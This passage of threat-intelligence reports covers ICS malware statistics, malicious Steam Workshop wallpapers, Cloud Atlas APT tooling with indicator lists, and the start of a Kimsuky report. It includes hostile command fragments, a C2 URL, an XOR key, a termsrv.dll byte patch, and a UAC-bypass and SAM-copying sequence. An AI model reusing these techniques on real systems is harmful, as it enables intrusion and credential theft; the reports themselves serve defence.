The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Percentage of ICS computers on which malicious objects from various sources were blocked

Percentage of ICS computers on which malicious objects from various sources were blocked

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.

  •  

CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure

Government entities and critical infrastructure were targeted for espionage in SE Asia by attackers using a hybrid toolkit, including custom TinyRCT backdoor.

The post CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure appeared first on Unit 42.

  •  

Dozens of malicious wallpapers found on Steam Workshop: gamers’ accounts at risk

Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.

What is Wallpaper Engine?

Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:

  • Videos: MP4, WebM, and other common video formats
  • Scenes: interactive wallpapers built inside the app’s own editor
  • Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
  • Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background

That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.

Application wallpapers: a built-in security risk

The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.

We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.

Here's what these infected wallpapers look like on Steam Workshop

When we analyzed them, we caught two different methods the attackers were using to spread their malware:

  • An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
  • In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.

Inside an infected game wallpaper

Main screen of the wallpaper application

Main screen of the wallpaper application

On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.

How the malware deploys

How the malware deploys

Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.

But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.

Looking for the Steam app

Looking for the Steam app

Next, the modified library hijacks the user’s live Steam session.

Hijacking the Steam session

Hijacking the Steam session

After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.

Attribution and victims

The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.

Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).

Malicious app wallpaper downloads by region

How to stay safe

Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:

  • HEUR:Trojan-PSW.Win32.gen
  • HEUR:Trojan-PSW.Win32.Python.gen
  • HEUR:Backdoor.Win32.DarkKomet
  • Trojan-Dropper.Python.Agent
  • HEUR:Trojan-Ransom.Win32.Gen.gen
  • PDM:Trojan.Win32.Generic.

By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.

Indicators of compromise

MD5

C2 servers

Malicious wallpapers

Update, June 17

We have since confirmed that the malicious wallpapers were present in the app as early as August 2025.

  •  

Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Step Action Description
1  Drops “$temp\fixed.ps1” Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2 Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup

Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3 Downloads and drops “$temp\rar.zip”
Extracts “*.pdf” from the downloaded  “$temp\rar.zip”
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4 Extracts “*.pdf” from the downloaded  “$temp\rar.zip” Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6 Opens extracted decoy document “*.pdf” with user’s default software User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6 Executes  “taskkill.exe /F /Im winrar.exe” Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7 Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk” Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8 Executes  “$temp\fixed.ps1” Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

  • video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
  • video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

  • Collect information about running processes, administrator groups, and domain controllers.
  • Download and execute PowerShell scripts from the C2 server.
  • Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

  • Creates a Volume Shadow Copy of the C:\ drive.
  • Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
  • The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

  • Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
  • Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
  • Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

  • C:\Windows\ime
  • C:\Windows\System32\ime
  • C:\Windows\pla
  • C:\Windows\inf
  • C:\Windows\migration
  • C:\Windows\System32\timecontrolsvc
  • C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

  •  

Kimsuky targets organizations with PebbleDash-based tools

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr – January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

